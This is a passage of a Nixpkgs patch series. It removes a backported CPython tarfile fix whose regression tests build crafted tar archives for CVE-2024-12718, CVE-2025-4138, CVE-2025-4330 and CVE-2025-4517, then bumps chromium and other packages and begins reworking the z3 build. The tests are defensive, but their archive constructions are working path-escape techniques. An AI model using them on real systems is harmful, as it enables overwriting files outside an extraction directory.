-+        outside_tree_dir = os.path.join(TEMPDIR, 'outside_tree_dir')
-+        with ArchiveMaker() as arc:
-+            arc.add('x', symlink_to='.')
-+            arc.add('x', type=tarfile.DIRTYPE, mode='?rwsrwsrwt')
-+            arc.add('x', symlink_to=outside_tree_dir)
-+
-+        os.makedirs(outside_tree_dir)
-+        try:
-+            arc.open().extractall(path=tempdir, filter='tar')
-+        finally:
-+            os_helper.rmtree(outside_tree_dir)
-+            os_helper.rmtree(tempdir)
-+
- 
- class CommandLineTest(unittest.TestCase):
- 
-@@ -3275,6 +3300,10 @@ def check_files_present(self, directory):
-         got_paths = set(
-             p.relative_to(directory)
-             for p in pathlib.Path(directory).glob('**/*'))
-+        if self.extraction_filter in (None, 'data'):
-+            # The 'data' filter is expected to reject special files
-+            for path in 'ustar/fifotype', 'ustar/blktype', 'ustar/chrtype':
-+                got_paths.discard(pathlib.Path(path))
-         self.assertEqual(self.control_paths, got_paths)
- 
-     @contextmanager
-@@ -3504,12 +3533,28 @@ def __exit__(self, *exc):
-         self.bio = None
- 
-     def add(self, name, *, type=None, symlink_to=None, hardlink_to=None,
--            mode=None, size=None, **kwargs):
--        """Add a member to the test archive. Call within `with`."""
-+            mode=None, size=None, content=None, **kwargs):
-+        """Add a member to the test archive. Call within `with`.
-+
-+        Provides many shortcuts:
-+        - default `type` is based on symlink_to, hardlink_to, and trailing `/`
-+          in name (which is stripped)
-+        - size & content defaults are based on each other
-+        - content can be str or bytes
-+        - mode should be textual ('-rwxrwxrwx')
-+
-+        (add more! this is unstable internal test-only API)
-+        """
-         name = str(name)
-         tarinfo = tarfile.TarInfo(name).replace(**kwargs)
-+        if content is not None:
-+            if isinstance(content, str):
-+                content = content.encode()
-+            size = len(content)
-         if size is not None:
-             tarinfo.size = size
-+            if content is None:
-+                content = bytes(tarinfo.size)
-         if mode:
-             tarinfo.mode = _filemode_to_int(mode)
-         if symlink_to is not None:
-@@ -3523,7 +3568,7 @@ def add(self, name, *, type=None, symlink_to=None, hardlink_to=None,
-         if type is not None:
-             tarinfo.type = type
-         if tarinfo.isreg():
--            fileobj = io.BytesIO(bytes(tarinfo.size))
-+            fileobj = io.BytesIO(content)
-         else:
-             fileobj = None
-         self.tar_w.addfile(tarinfo, fileobj)
-@@ -3557,7 +3602,7 @@ class TestExtractionFilters(unittest.TestCase):
-     destdir = outerdir / 'dest'
- 
-     @contextmanager
--    def check_context(self, tar, filter):
-+    def check_context(self, tar, filter, *, check_flag=True):
-         """Extracts `tar` to `self.destdir` and allows checking the result
- 
-         If an error occurs, it must be checked using `expect_exception`
-@@ -3566,27 +3611,40 @@ def check_context(self, tar, filter):
-         except the destination directory itself and parent directories of
-         other files.
-         When checking directories, do so before their contents.
-+
-+        A file called 'flag' is made in outerdir (i.e. outside destdir)
-+        before extraction; it should not be altered nor should its contents
-+        be read/copied.
-         """
-         with os_helper.temp_dir(self.outerdir):
-+            flag_path = self.outerdir / 'flag'
-+            flag_path.write_text('capture me')
-             try:
-                 tar.extractall(self.destdir, filter=filter)
-             except Exception as exc:
-                 self.raised_exception = exc
-+                self.reraise_exception = True
-                 self.expected_paths = set()
-             else:
-                 self.raised_exception = None
-+                self.reraise_exception = False
-                 self.expected_paths = set(self.outerdir.glob('**/*'))
-                 self.expected_paths.discard(self.destdir)
-+                self.expected_paths.discard(flag_path)
-             try:
--                yield
-+                yield self
-             finally:
-                 tar.close()
--            if self.raised_exception:
-+            if self.reraise_exception:
-                 raise self.raised_exception
-             self.assertEqual(self.expected_paths, set())
-+            if check_flag:
-+                self.assertEqual(flag_path.read_text(), 'capture me')
-+            else:
-+                assert filter == 'fully_trusted'
- 
-     def expect_file(self, name, type=None, symlink_to=None, mode=None,
--                    size=None):
-+                    size=None, content=None):
-         """Check a single file. See check_context."""
-         if self.raised_exception:
-             raise self.raised_exception
-@@ -3605,26 +3663,45 @@ def expect_file(self, name, type=None, symlink_to=None, mode=None,
-             # The symlink might be the same (textually) as what we expect,
-             # but some systems change the link to an equivalent path, so
-             # we fall back to samefile().
--            if expected != got:
--                self.assertTrue(got.samefile(expected))
-+            try:
-+                if expected != got:
-+                    self.assertTrue(got.samefile(expected))
-+            except Exception as e:
-+                # attach a note, so it's shown even if `samefile` fails
-+                e.add_note(f'{expected=}, {got=}')
-+                raise
-         elif type == tarfile.REGTYPE or type is None:
-             self.assertTrue(path.is_file())
-         elif type == tarfile.DIRTYPE:
-             self.assertTrue(path.is_dir())
-         elif type == tarfile.FIFOTYPE:
-             self.assertTrue(path.is_fifo())
-+        elif type == tarfile.SYMTYPE:
-+            self.assertTrue(path.is_symlink())
-         else:
-             raise NotImplementedError(type)
-         if size is not None:
-             self.assertEqual(path.stat().st_size, size)
-+        if content is not None:
-+            self.assertEqual(path.read_text(), content)
-         for parent in path.parents:
-             self.expected_paths.discard(parent)
- 
-+    def expect_any_tree(self, name):
-+        """Check a directory; forget about its contents."""
-+        tree_path = (self.destdir / name).resolve()
-+        self.expect_file(tree_path, type=tarfile.DIRTYPE)
-+        self.expected_paths = {
-+            p for p in self.expected_paths
-+            if tree_path not in p.parents
-+        }
-+
-     def expect_exception(self, exc_type, message_re='.'):
-         with self.assertRaisesRegex(exc_type, message_re):
-             if self.raised_exception is not None:
-                 raise self.raised_exception
--        self.raised_exception = None
-+        self.reraise_exception = False
-+        return self.raised_exception
- 
-     def test_benign_file(self):
-         with ArchiveMaker() as arc:
-@@ -3709,6 +3786,80 @@ def test_parent_symlink(self):
-             with self.check_context(arc.open(), 'data'):
-                 self.expect_file('parent/evil')
- 
-+    @symlink_test
-+    @os_helper.skip_unless_symlink
-+    def test_realpath_limit_attack(self):
-+        # (CVE-2025-4517)
-+
-+        with ArchiveMaker() as arc:
-+            # populate the symlinks and dirs that expand in os.path.realpath()
-+            # The component length is chosen so that in common cases, the unexpanded
-+            # path fits in PATH_MAX, but it overflows when the final symlink
-+            # is expanded
-+            steps = "abcdefghijklmnop"
-+            if sys.platform == 'win32':
-+                component = 'd' * 25
-+            elif 'PC_PATH_MAX' in os.pathconf_names:
-+                max_path_len = os.pathconf(self.outerdir.parent, "PC_PATH_MAX")
-+                path_sep_len = 1
-+                dest_len = len(str(self.destdir)) + path_sep_len
-+                component_len = (max_path_len - dest_len) // (len(steps) + path_sep_len)
-+                component = 'd' * component_len
-+            else:
-+                raise NotImplementedError("Need to guess component length for {sys.platform}")
-+            path = ""
-+            step_path = ""
-+            for i in steps:
-+                arc.add(os.path.join(path, component), type=tarfile.DIRTYPE,
-+                        mode='drwxrwxrwx')
-+                arc.add(os.path.join(path, i), symlink_to=component)
-+                path = os.path.join(path, component)
-+                step_path = os.path.join(step_path, i)
-+            # create the final symlink that exceeds PATH_MAX and simply points
-+            # to the top dir.
-+            # this link will never be expanded by
-+            # os.path.realpath(strict=False), nor anything after it.
-+            linkpath = os.path.join(*steps, "l"*254)
-+            parent_segments = [".."] * len(steps)
-+            arc.add(linkpath, symlink_to=os.path.join(*parent_segments))
-+            # make a symlink outside to keep the tar command happy
-+            arc.add("escape", symlink_to=os.path.join(linkpath, ".."))
-+            # use the symlinks above, that are not checked, to create a hardlink
-+            # to a file outside of the destination path
-+            arc.add("flaglink", hardlink_to=os.path.join("escape", "flag"))
-+            # now that we have the hardlink we can overwrite the file
-+            arc.add("flaglink", content='overwrite')
-+            # we can also create new files as well!
-+            arc.add("escape/newfile", content='new')
-+
-+        with (self.subTest('fully_trusted'),
-+              self.check_context(arc.open(), filter='fully_trusted',
-+                                 check_flag=False)):
-+            if sys.platform == 'win32':
-+                self.expect_exception((FileNotFoundError, FileExistsError))
-+            elif self.raised_exception:
-+                # Cannot symlink/hardlink: tarfile falls back to getmember()
-+                self.expect_exception(KeyError)
-+                # Otherwise, this block should never enter.
-+            else:
-+                self.expect_any_tree(component)
-+                self.expect_file('flaglink', content='overwrite')
-+                self.expect_file('../newfile', content='new')
-+                self.expect_file('escape', type=tarfile.SYMTYPE)
-+                self.expect_file('a', symlink_to=component)
-+
-+        for filter in 'tar', 'data':
-+            with self.subTest(filter), self.check_context(arc.open(), filter=filter):
-+                exc = self.expect_exception((OSError, KeyError))
-+                if isinstance(exc, OSError):
-+                    if sys.platform == 'win32':
-+                        # 3: ERROR_PATH_NOT_FOUND
-+                        # 5: ERROR_ACCESS_DENIED
-+                        # 206: ERROR_FILENAME_EXCED_RANGE
-+                        self.assertIn(exc.winerror, (3, 5, 206))
-+                    else:
-+                        self.assertEqual(exc.errno, errno.ENAMETOOLONG)
-+
-     @symlink_test
-     def test_parent_symlink2(self):
-         # Test interplaying symlinks
-@@ -3931,8 +4082,8 @@ def test_chains(self):
-             arc.add('symlink2', symlink_to=os.path.join(
-                 'linkdir', 'hardlink2'))
-             arc.add('targetdir/target', size=3)
--            arc.add('linkdir/hardlink', hardlink_to='targetdir/target')
--            arc.add('linkdir/hardlink2', hardlink_to='linkdir/symlink')
-+            arc.add('linkdir/hardlink', hardlink_to=os.path.join('targetdir', 'target'))
-+            arc.add('linkdir/hardlink2', hardlink_to=os.path.join('linkdir', 'symlink'))
- 
-         for filter in 'tar', 'data', 'fully_trusted':
-             with self.check_context(arc.open(), filter):
-@@ -3948,6 +4099,129 @@ def test_chains(self):
-                     self.expect_file('linkdir/symlink', size=3)
-                     self.expect_file('symlink2', size=3)
- 
-+    @symlink_test
-+    def test_sneaky_hardlink_fallback(self):
-+        # (CVE-2025-4330)
-+        # Test that when hardlink extraction falls back to extracting members
-+        # from the archive, the extracted member is (re-)filtered.
-+        with ArchiveMaker() as arc:
-+            # Create a directory structure so the c/escape symlink stays
-+            # inside the path
-+            arc.add("a/t/dummy")
-+            # Create b/ directory
-+            arc.add("b/")
-+            # Point "c" to the bottom of the tree in "a"
-+            arc.add("c", symlink_to=os.path.join("a", "t"))
-+            # link to non-existant location under "a"
-+            arc.add("c/escape", symlink_to=os.path.join("..", "..",
-+                                                        "link_here"))
-+            # Move "c" to point to "b" ("c/escape" no longer exists)
-+            arc.add("c", symlink_to="b")
-+            # Attempt to create a hard link to "c/escape". Since it doesn't
-+            # exist it will attempt to extract "cescape" but at "boom".
-+            arc.add("boom", hardlink_to=os.path.join("c", "escape"))
-+
-+        with self.check_context(arc.open(), 'data'):
-+            if not os_helper.can_symlink():
-+                # When 'c/escape' is extracted, 'c' is a regular
-+                # directory, and 'c/escape' *would* point outside
-+                # the destination if symlinks were allowed.
-+                self.expect_exception(
-+                    tarfile.LinkOutsideDestinationError)
-+            elif sys.platform == "win32":
-+                # On Windows, 'c/escape' points outside the destination
-+                self.expect_exception(tarfile.LinkOutsideDestinationError)
-+            else:
-+                e = self.expect_exception(
-+                    tarfile.LinkFallbackError,
-+                    "link 'boom' would be extracted as a copy of "
-+                    + "'c/escape', which was rejected")
-+                self.assertIsInstance(e.__cause__,
-+                                      tarfile.LinkOutsideDestinationError)
-+        for filter in 'tar', 'fully_trusted':
-+            with self.subTest(filter), self.check_context(arc.open(), filter):
-+                if not os_helper.can_symlink():
-+                    self.expect_file("a/t/dummy")
-+                    self.expect_file("b/")
-+                    self.expect_file("c/")
-+                else:
-+                    self.expect_file("a/t/dummy")
-+                    self.expect_file("b/")
-+                    self.expect_file("a/t/escape", symlink_to='../../link_here')
-+                    self.expect_file("boom", symlink_to='../../link_here')
-+                    self.expect_file("c", symlink_to='b')
-+
-+    @symlink_test
-+    def test_exfiltration_via_symlink(self):
-+        # (CVE-2025-4138)
-+        # Test changing symlinks that result in a symlink pointing outside
-+        # the extraction directory, unless prevented by 'data' filter's
-+        # normalization.
-+        with ArchiveMaker() as arc:
-+            arc.add("escape", symlink_to=os.path.join('link', 'link', '..', '..', 'link-here'))
-+            arc.add("link", symlink_to='./')
-+
-+        for filter in 'tar', 'data', 'fully_trusted':
-+            with self.check_context(arc.open(), filter):
-+                if os_helper.can_symlink():
-+                    self.expect_file("link", symlink_to='./')
-+                    if filter == 'data':
-+                        self.expect_file("escape", symlink_to='link-here')
-+                    else:
-+                        self.expect_file("escape",
-+                                         symlink_to='link/link/../../link-here')
-+                else:
-+                    # Nothing is extracted.
-+                    pass
-+
-+    @symlink_test
-+    def test_chmod_outside_dir(self):
-+        # (CVE-2024-12718)
-+        # Test that members used for delayed updates of directory metadata
-+        # are (re-)filtered.
-+        with ArchiveMaker() as arc:
-+            # "pwn" is a veeeery innocent symlink:
-+            arc.add("a/pwn", symlink_to='.')
-+            # But now "pwn" is also a directory, so it's scheduled to have its
-+            # metadata updated later:
-+            arc.add("a/pwn/", mode='drwxrwxrwx')
-+            # Oops, "pwn" is not so innocent any more:
-+            arc.add("a/pwn", symlink_to='x/../')
-+            # Newly created symlink points to the dest dir,
-+            # so it's OK for the "data" filter.
-+            arc.add('a/x', symlink_to=('../'))
-+            # But now "pwn" points outside the dest dir
-+
-+        for filter in 'tar', 'data', 'fully_trusted':
-+            with self.check_context(arc.open(), filter) as cc:
-+                if not os_helper.can_symlink():
-+                    self.expect_file("a/pwn/")
-+                elif filter == 'data':
-+                    self.expect_file("a/x", symlink_to='../')
-+                    self.expect_file("a/pwn", symlink_to='.')
-+                else:
-+                    self.expect_file("a/x", symlink_to='../')
-+                    self.expect_file("a/pwn", symlink_to='x/../')
-+                if sys.platform != "win32":
-+                    st_mode = cc.outerdir.stat().st_mode
-+                    self.assertNotEqual(st_mode & 0o777, 0o777)
-+
-+    def test_link_fallback_normalizes(self):
-+        # Make sure hardlink fallbacks work for non-normalized paths for all
-+        # filters
-+        with ArchiveMaker() as arc:
-+            arc.add("dir/")
-+            arc.add("dir/../afile")
-+            arc.add("link1", hardlink_to='dir/../afile')
-+            arc.add("link2", hardlink_to='dir/../dir/../afile')
-+
-+        for filter in 'tar', 'data', 'fully_trusted':
-+            with self.check_context(arc.open(), filter) as cc:
-+                self.expect_file("dir/")
-+                self.expect_file("afile")
-+                self.expect_file("link1")
-+                self.expect_file("link2")
-+
-     def test_modes(self):
-         # Test how file modes are extracted
-         # (Note that the modes are ignored on platforms without working chmod)
-@@ -4072,7 +4346,7 @@ def test_tar_filter(self):
-         # The 'tar' filter returns TarInfo objects with the same name/type.
-         # (It can also fail for particularly "evil" input, but we don't have
-         # that in the test archive.)
--        with tarfile.TarFile.open(tarname) as tar:
-+        with tarfile.TarFile.open(tarname, encoding="iso8859-1") as tar:
-             for tarinfo in tar.getmembers():
-                 try:
-                     filtered = tarfile.tar_filter(tarinfo, '')
-@@ -4084,7 +4358,7 @@ def test_tar_filter(self):
-     def test_data_filter(self):
-         # The 'data' filter either raises, or returns TarInfo with the same
-         # name/type.
--        with tarfile.TarFile.open(tarname) as tar:
-+        with tarfile.TarFile.open(tarname, encoding="iso8859-1") as tar:
-             for tarinfo in tar.getmembers():
-                 try:
-                     filtered = tarfile.data_filter(tarinfo, '')
-@@ -4242,13 +4516,13 @@ def valueerror_filter(tarinfo, path):
-         # If errorlevel is 0, errors affected by errorlevel are ignored
- 
-         with self.check_context(arc.open(errorlevel=0), extracterror_filter):
--            self.expect_file('file')
-+            pass
- 
-         with self.check_context(arc.open(errorlevel=0), filtererror_filter):
--            self.expect_file('file')
-+            pass
- 
-         with self.check_context(arc.open(errorlevel=0), oserror_filter):
--            self.expect_file('file')
-+            pass
- 
-         with self.check_context(arc.open(errorlevel=0), tarerror_filter):
-             self.expect_exception(tarfile.TarError)
-@@ -4259,7 +4533,7 @@ def valueerror_filter(tarinfo, path):
-         # If 1, all fatal errors are raised
- 
-         with self.check_context(arc.open(errorlevel=1), extracterror_filter):
--            self.expect_file('file')
-+            pass
- 
-         with self.check_context(arc.open(errorlevel=1), filtererror_filter):
-             self.expect_exception(tarfile.FilterError)
-diff --git a/Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst b/Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst
-new file mode 100644
-index 00000000000000..08a0087e203671
---- /dev/null
-+++ b/Misc/NEWS.d/next/Security/2025-06-02-11-32-23.gh-issue-135034.RLGjbp.rst
-@@ -0,0 +1,6 @@
-+Fixes multiple issues that allowed ``tarfile`` extraction filters
-+(``filter="data"`` and ``filter="tar"``) to be bypassed using crafted
-+symlinks and hard links.
-+
-+Addresses :cve:`2024-12718`, :cve:`2025-4138`, :cve:`2025-4330`, and :cve:`2025-4517`.
-+
diff --git a/pkgs/development/interpreters/python/cpython/default.nix b/pkgs/development/interpreters/python/cpython/default.nix
index 216c7d064fb5..52b0a3ea4eb4 100644
--- a/pkgs/development/interpreters/python/cpython/default.nix
+++ b/pkgs/development/interpreters/python/cpython/default.nix
@@ -339,9 +339,6 @@ stdenv.mkDerivation (finalAttrs: {
     ++ optionals (pythonAtLeast "3.13") [
       ./3.13/virtualenv-permissions.patch
     ]
-    ++ optionals (pythonAtLeast "3.14") [
-      ./3.14/CVE-2025-4517.patch
-    ]
     ++ optionals mimetypesSupport [
       # Make the mimetypes module refer to the right file
       ./mimetypes.patch
diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 0664cd6e2382..406c2eec1b04 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -93,9 +93,9 @@
         major = "3";
         minor = "14";
         patch = "0";
-        suffix = "b2";
+        suffix = "b3";
       };
-      hash = "sha256-esnoSES7wKWo8feaN6aLO4yvKli0qlmZxJInyzbnDqY=";
+      hash = "sha256-xvSL9R8B9Q2HAHpEXdev5KTHqHq0glcL6STB3f0NNoI=";
       inherit passthruFun;
     };
     # Minimal versions of Python (built without optional dependencies)

From 0377bf1c6ac9c9f194e9823b91aecb95d0bc4599 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 17 Jun 2025 22:34:36 +0200
Subject: [PATCH 1182/4511] chromium,chromedriver: 137.0.7151.103 ->
 137.0.7151.119

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_17.html

This update includes 3 security fixes.

CVEs:
CVE-2025-6191 CVE-2025-6192

(cherry picked from commit 1a56989536230f8174c210d4c8b4b68cfcde2c05)
---
 .../networking/browsers/chromium/info.json    | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index f8f9d7253c9f..5e25fbd81c59 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "137.0.7151.103",
+    "version": "137.0.7151.119",
     "chromedriver": {
-      "version": "137.0.7151.104",
-      "hash_darwin": "sha256-K7kixWvPmTX35LB6whyHetvtaGxCBYoyr30LozPjQxI=",
-      "hash_darwin_aarch64": "sha256-57cLYzeZi1jKTBQcsSP0JD2RJDIl9RVQSGdY6cz3J68="
+      "version": "137.0.7151.120",
+      "hash_darwin": "sha256-3NECoMlK57ZlCUPra20rJrZcx9FnMWvTXlcdksn8FUc=",
+      "hash_darwin_aarch64": "sha256-P1trGStKjTD/h+avjAXE5N6nqvAra9RDsSvrR/pTRUA="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "3dcc738117a3439068c9773ccd31f9858923fc4a",
-        "hash": "sha256-MIEjHLpfKIBiTFh+bO+NUf6iDpizTP9yfXQqbHfiDwo=",
+        "rev": "e0ac9d12dff5f2d33c935958b06bf1ded7f1c08c",
+        "hash": "sha256-+3C2n/7bbIOpXGvBrFnSMNlgLVRMoPtOF14CDROVClI=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -241,8 +241,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "e423961606946be24c8c1ec0d1ec91511efbabc5",
-        "hash": "sha256-MhooXuF6aw+ixPzvVCBl+6T+79cTReCYx86qqXAZ6bg="
+        "rev": "afc8e923a37090445d6d97ca23fea49d9eb7b9cf",
+        "hash": "sha256-io0J6tt0RXumjjSklZyJpALV5IikPbROd40xcrX4iBs="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -791,8 +791,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "41f53aba7095888c959932bd8f2ee8b4e16af223",
-        "hash": "sha256-ICrdvHA6fe2CUphRgPdlofazr0L+NFypWDNOI5e5QIM="
+        "rev": "075234cf3d7622d9d588a6f748fc4501aa23080c",
+        "hash": "sha256-wrLxRuJ3rq1yC0PIUGPsuDB/YNee1x3J/i6ZSLk70HM="
       }
     }
   },

From a8e3ba24256cc36a4a60a156c8e19baf9ff487d3 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Wed, 18 Jun 2025 00:01:36 +0200
Subject: [PATCH 1183/4511] hot-resize: 0.1.3 -> 0.1.4

(cherry picked from commit 4d45331d64c372b64fd8b2ee20fabc9ab542bc0a)
---
 pkgs/by-name/ho/hot-resize/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ho/hot-resize/package.nix b/pkgs/by-name/ho/hot-resize/package.nix
index 595b90c8d7f6..aab1ef132931 100644
--- a/pkgs/by-name/ho/hot-resize/package.nix
+++ b/pkgs/by-name/ho/hot-resize/package.nix
@@ -19,17 +19,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "hot-resize";
-  version = "0.1.3";
+  version = "0.1.4";
 
   src = fetchFromGitHub {
     owner = "liberodark";
     repo = "hot-resize";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5mh09ZYNpuWVJ2g9p8C6Ad4k132UWjudBhTb3HfoFRc=";
+    hash = "sha256-JB1U7mL3rkrsekmKt+0J1nnbtnlk/typIIfz3E+1moc=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-kUWyL36BC1+4FjujVxeguB0VvBtIN32QpuNYV6wjC5s=";
+  cargoHash = "sha256-+POAqB0msStix5KNqVwy8ckLEQ/rUsD52BtyetuKt2I=";
 
   nativeBuildInputs = [
     pkg-config

From 69e929f019678774d0a380df67a47c1e4bd3e463 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 18 Jun 2025 01:44:49 +0000
Subject: [PATCH 1184/4511] mcaselector: 2.5.2 -> 2.5.3

(cherry picked from commit a0a3de41588024f9886336cd95d70ef7dcc35319)
---
 pkgs/tools/games/minecraft/mcaselector/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/games/minecraft/mcaselector/default.nix b/pkgs/tools/games/minecraft/mcaselector/default.nix
index d214dfd52baf..ffe52140b83d 100644
--- a/pkgs/tools/games/minecraft/mcaselector/default.nix
+++ b/pkgs/tools/games/minecraft/mcaselector/default.nix
@@ -9,11 +9,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "mcaselector";
-  version = "2.5.2";
+  version = "2.5.3";
 
   src = fetchurl {
     url = "https://github.com/Querz/mcaselector/releases/download/${finalAttrs.version}/mcaselector-${finalAttrs.version}.jar";
-    hash = "sha256-bbhbTsMtBIBTGd6IRTKPzY5T8NLfLqBu2bYc8GK8y/U=";
+    hash = "sha256-PQCXwtEK+Tq1cRJDkzlQ43dhdQ3J+bd8x/ymvsfIfdA=";
   };
 
   dontUnpack = true;

From 3e28ddf3c340e27c92f3e9b1dfc65d7ab8a0c094 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 11 Jun 2025 13:21:35 +0200
Subject: [PATCH 1185/4511] z3: build with cmake by default

Currently ocaml bindings do *build* with cmake, but
they don't get installed properly. Until that is
fixed, we need to keep the `py`+`make` based build.

The `cmake` build is needed to generate the cmake and
pkg-config output, needed for e.g. prusa-slicer 2.9.2.

python import check and pkg-config passthru testers
have been added for better coverage.

(cherry picked from commit 42b749a3395a3902e273c5d9d3165170a70a44bd)
---
 pkgs/by-name/z3/z3/fix-pkg-config-paths.patch |  21 ++++
 pkgs/by-name/z3/z3/package.nix                | 108 ++++++++++++++----
 2 files changed, 104 insertions(+), 25 deletions(-)
 create mode 100644 pkgs/by-name/z3/z3/fix-pkg-config-paths.patch

diff --git a/pkgs/by-name/z3/z3/fix-pkg-config-paths.patch b/pkgs/by-name/z3/z3/fix-pkg-config-paths.patch
new file mode 100644
index 000000000000..13b4d6f4a0a5
--- /dev/null
+++ b/pkgs/by-name/z3/z3/fix-pkg-config-paths.patch
@@ -0,0 +1,21 @@
+diff --git a/z3.pc.cmake.in b/z3.pc.cmake.in
+index 436dd6208..dd1e179c7 100644
+--- a/z3.pc.cmake.in
++++ b/z3.pc.cmake.in
+@@ -1,13 +1,10 @@
+-prefix=@CMAKE_INSTALL_PREFIX@
+-exec_prefix=@CMAKE_INSTALL_PREFIX@
+-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@
+-sharedlibdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@
+-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@
++libdir=@CMAKE_INSTALL_FULL_LIBDIR@
++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@
+ 
+ Name: z3
+ Description: The Z3 Theorem Prover
+ Version: @Z3_VERSION@
+ 
+ Requires:
+-Libs: -L${libdir} -L${sharedlibdir} -lz3
++Libs: -L${libdir} -lz3
+ Cflags: -I${includedir}
diff --git a/pkgs/by-name/z3/z3/package.nix b/pkgs/by-name/z3/z3/package.nix
index 3883b4d3840e..d20658b4e9fb 100644
--- a/pkgs/by-name/z3/z3/package.nix
+++ b/pkgs/by-name/z3/z3/package.nix
@@ -2,23 +2,30 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  python3,
+  python3Packages,
   fixDarwinDylibNames,
   nix-update-script,
   versionCheckHook,
 
   javaBindings ? false,
   ocamlBindings ? false,
-  pythonBindings ? true,
+  pythonBindings ? (!stdenv.hostPlatform.isStatic),
   jdk ? null,
   ocaml ? null,
   findlib ? null,
   zarith ? null,
+  cmake,
+  ninja,
+  testers,
+  useCmakeBuild ? (!ocamlBindings), # TODO: remove gnu make build once cmake supports ocaml
   ...
 }:
 
-assert javaBindings -> jdk != null;
-assert ocamlBindings -> ocaml != null && findlib != null && zarith != null;
+assert pythonBindings -> !stdenv.hostPlatform.isStatic;
+assert javaBindings -> jdk != null && (!stdenv.hostPlatform.isStatic);
+assert
+  ocamlBindings
+  -> ocaml != null && findlib != null && zarith != null && (!stdenv.hostPlatform.isStatic);
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "z3";
@@ -31,17 +38,27 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-fk3NyV6vIDXivhiNOW2Y0i5c+kzc7oBqaeBWj/JjpTM=";
   };
 
+  patches = lib.optionals useCmakeBuild [
+    ./fix-pkg-config-paths.patch
+  ];
+
   strictDeps = true;
 
   nativeBuildInputs =
-    [ python3 ]
+    [ python3Packages.python ]
+    ++ lib.optionals pythonBindings [ python3Packages.setuptools ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ]
     ++ lib.optionals javaBindings [ jdk ]
     ++ lib.optionals ocamlBindings [
       ocaml
       findlib
+    ]
+    ++ lib.optionals useCmakeBuild [
+      cmake
+      ninja
     ];
-  propagatedBuildInputs = [ python3.pkgs.setuptools ] ++ lib.optionals ocamlBindings [ zarith ];
+
+  propagatedBuildInputs = lib.optionals ocamlBindings [ zarith ];
   enableParallelBuilding = true;
 
   postPatch = lib.optionalString ocamlBindings ''
@@ -49,58 +66,94 @@ stdenv.mkDerivation (finalAttrs: {
     mkdir -p $OCAMLFIND_DESTDIR/stublibs
   '';
 
-  configurePhase = ''
+  configurePhase = lib.optionalString (!useCmakeBuild) ''
     runHook preConfigure
 
-    ${python3.pythonOnBuildForHost.interpreter} \
+    ${python3Packages.python.pythonOnBuildForHost.interpreter} \
       scripts/mk_make.py \
       --prefix=$out \
       ${lib.optionalString javaBindings "--java"} \
       ${lib.optionalString ocamlBindings "--ml"} \
-      ${lib.optionalString pythonBindings "--python --pypkgdir=$out/${python3.sitePackages}"}
+      ${lib.optionalString pythonBindings "--python --pypkgdir=$out/${python3Packages.python.sitePackages}"}
 
     cd build
 
     runHook postConfigure
   '';
 
+  cmakeFlags =
+    [
+      (lib.cmakeBool "Z3_BUILD_PYTHON_BINDINGS" pythonBindings)
+      (lib.cmakeBool "Z3_INSTALL_PYTHON_BINDINGS" pythonBindings)
+      (lib.cmakeBool "Z3_BUILD_JAVA_BINDINGS" javaBindings)
+      (lib.cmakeBool "Z3_INSTALL_JAVA_BINDINGS" javaBindings)
+      (lib.cmakeBool "Z3_BUILD_OCAML_BINDINGS" ocamlBindings) # FIXME: ocaml does not properly install build output on cmake
+      (lib.cmakeBool "Z3_SINGLE_THREADED" (!finalAttrs.enableParallelBuilding))
+      (lib.cmakeBool "Z3_BUILD_LIBZ3_SHARED" (!stdenv.hostPlatform.isStatic))
+      (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "out"))
+      (lib.cmakeBool "Z3_BUILD_TEST_EXECUTABLES" finalAttrs.doCheck)
+      (lib.cmakeBool "Z3_ENABLE_EXAMPLE_TARGETS" false)
+    ]
+    ++ lib.optionals pythonBindings [
+      (lib.cmakeFeature "CMAKE_INSTALL_PYTHON_PKG_DIR" "${placeholder "python"}/${python3Packages.python.sitePackages}")
+      (lib.cmakeFeature "Python3_EXECUTABLE" "${lib.getExe python3Packages.python}")
